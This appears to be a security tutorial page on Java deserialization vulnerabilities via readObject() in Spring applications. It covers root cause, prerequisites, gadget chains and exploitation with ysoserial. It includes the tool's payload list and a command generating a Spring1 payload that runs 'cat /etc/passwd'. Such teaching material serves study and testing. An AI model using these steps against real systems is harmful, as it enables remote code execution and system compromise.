java-objectinputstream-deserialization-readobject
Java ObjectInputStream Deserialization (readObject)
This vulnerability arises when a Java application deserializes user-controlled data using ObjectInputStream.readObject(). In Spring-based applications, this can lead to remote code execution (RCE) if exploitable gadget chains exist on the classpath.
readObject() itself is not dangerous — deserializing untrusted data is.
Root Cause
- The application calls
readObject()on attacker-supplied data - Java deserialization automatically:
- Instantiates objects
- Executes magic methods (
readObject,readResolve,hashCode, etc.)
- If a gadget chain exists in loaded libraries, method execution is triggered
- Spring applications often load commons-collections, Groovy, Spring Beans, etc.
This results in Arbitrary command execution.
Exploitation Prerequisites
- User-controlled serialized Java object reaches
readObject() - A vulnerable gadget chain is present on the classpath
- No effective deserialization filtering or class whitelisting
Gadget Chains
Gadgets are not vulnerabilities by themselves, but they become exploitable when:
- Combined with
readObject() - Present in application dependencies
Exploitation
The tool ysoserial can be used to exploit this issue. This tool allows an attacker to build malicious Java object that will provide command execution.
This tool currently embeds gadgets for the following libraries:
…/Tools/ysoserial ❯ java -jar ysoserial-all.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
Dec 17, 2025 8:28:40 PM org.reflections.Reflections scan
INFO: Reflections took 109 ms to scan 1 urls, producing 18 keys and 153 values
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
In our case, we know that we are attacking a Spring application, therefore we can use the Spring1 payload. If we didn't have this information, we would have to try all the payloads and hope that a "vulnerable" library is loaded by the application.
We can get ysoserial to generate our payload using:
…/Tools/ysoserial ❯ /usr/lib/jvm/java-8-openjdk/bin/java -jar ysoserial-0.0.4.jar Spring1 "cat /etc/passwd" | base64 -0
<BASE64-ENCODED-PAYLOAD>
Now we need to find where the serialized object is used.
A good indicator is the string rO0, which is the base64 encoded version of \xac\xed\x00. Since serialised Java objects contain a lot of special characters, it's very common for them to get encoded before being transmitted over HTTP.
Following Burp Extension: https://github.com/NetSPI/JavaSerialKiller can also be used.